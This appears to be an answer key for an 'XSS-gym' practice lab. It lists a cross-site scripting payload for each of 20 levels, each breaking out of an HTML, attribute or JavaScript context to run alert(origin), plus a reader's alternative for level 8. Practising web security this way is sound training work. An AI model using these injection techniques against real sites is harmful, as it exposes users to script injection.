XSS-gym

Xss-gym.txt

level-1   =>   test</title><script>alert(origin)</script>
level-2   =>   test</noscript><script>alert(origin)</script>
level-3   =>   red;}</style><script>alert(origin)</script>
level-4   =>   %26apos;-alert(origin)-%26apos; <- OR -> %26apos;,alert(origin),%26apos;   
level-5   =>   test<img src='x' onerror='alert(origin)'/>
level-6   =>   "><img src='x' onerror='alert(origin)'/> //
level-7   =>   '><img src='x' onerror='alert(origin)'\/>
level-8   =>   "onfocus="eval(alert(origin))
level-9   =>   'onfocus='eval(alert(origin))
level-10  =>   test</textarea><img src='x' onerror='alert(origin)'/> //
level-11  =>   </script><svg/onload=alert(origin)>
level-12  =>   </script><svg/onload=alert(origin)>
level-13  =>   test';eval(alert(origin)) //
level-14  =>   test";eval(alert(origin)) //
level-15  =>   test\';eval(alert(origin)) //
level-16  =>   test\";eval(alert(origin)) //
level-17  =>   </script><svg/onload=alert(origin)>
level-18  =>   test`;eval(alert(origin)) // 
level-19  =>   test\`;eval(alert(origin)) //
level-20  =>   ${alert(origin)}

i think in level 8 you should use => "%20autofocus%20onfocus=alert(origin)%20"

Yes, its true